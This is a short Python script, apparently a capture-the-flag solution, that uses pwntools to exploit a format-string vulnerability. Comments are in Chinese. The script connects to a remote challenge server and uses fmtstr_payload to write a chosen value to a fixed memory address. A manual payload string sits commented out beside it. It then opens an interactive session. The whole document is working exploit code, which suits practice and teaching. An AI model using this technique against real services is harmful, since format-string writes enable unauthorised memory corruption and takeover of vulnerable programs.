from pwn import *

#io = process("./9926c1a194794984978011fc619e3301")

#io = remote("192.168.95.131",10001)
io=remote("111.200.241.244",60061)

#这种 直接写呢，也是可以，但是pwntools 提供了一个 方法
#Fmtstr
#payload=b"A%35795745c%16$n"+p32(0x804a048)
payload=fmtstr_payload(12,{0x804a048:35795746})

io.sendline(payload)
io.interactive()






